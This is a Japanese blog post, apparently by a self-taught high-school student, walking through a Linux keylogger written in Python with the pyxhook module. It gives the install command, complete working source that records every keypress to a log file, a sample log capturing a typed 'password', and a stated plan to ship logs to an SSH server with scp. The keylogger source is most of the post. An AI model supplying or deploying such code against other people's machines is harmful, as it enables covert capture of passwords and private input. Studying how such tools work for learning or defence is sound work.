高校生ハッカーの備忘録

普通の高校生が独学でセキュリティやCTFについて学んでいく備忘録。

pythonでlinux版キーロガーを作ってみた。

本格的にpythonを勉強し始めて約1ヶ月。
少しずつ慣れてきた気がするので、前から作ってみたかったキーロガーを作ってみる。
思ったよりずいぶん簡単にできた。
  

使うのはpyxhookモジュール。Windows用のキーロガーが作れるpyhookのLinux版。
ちなみにこのモジュールはpython3では動作しないので注意。

モジュールのインストール

sudo pip install pyxhook  

ソースコード[keylogger.py]

import pyxhook
import os

#logファイルのパス
log_file = '/path/.../xxx.txt'

#logファイル新規作成
log = open(log_file,'w')
log.close()

def keyevent(event):
    #logファイルを追記型で開く
    log = open(log_file,'a')
    log.write(event.Key)
    log.write('\n')

    #?キーが押されたら終了する
    if event.Ascii == 63:
        log.close()
        hook.cancel()

#HookManagerを定義
hook = pyxhook.HookManager()
#キーボードが入力されたらkeyevent関数を呼び出す
hook.KeyDown = keyevent
#HookKeyloadをセット
hook.HookKeyboard()
hook.start()

tips
・ログが横に並ぶと見づらくなるのでlog.write('\n)で一文字ごとに改行
・Asciiコードを使って特定のキーが押されたときに処理を終了する
 (logファイルをcloseするのを忘れずに!) ASCIIコード表

実行してみる。

$ python keylogger.py
password
abcdefg?

logファイル[log.txt]

p
a
s
s
w
o
r
d
Return
a
b
c
d
e
f
g
Shift_L
question

今回はこのへんで。

次回はscpを使ってsshサーバーにlogファイルを送ってみたりしようと思います。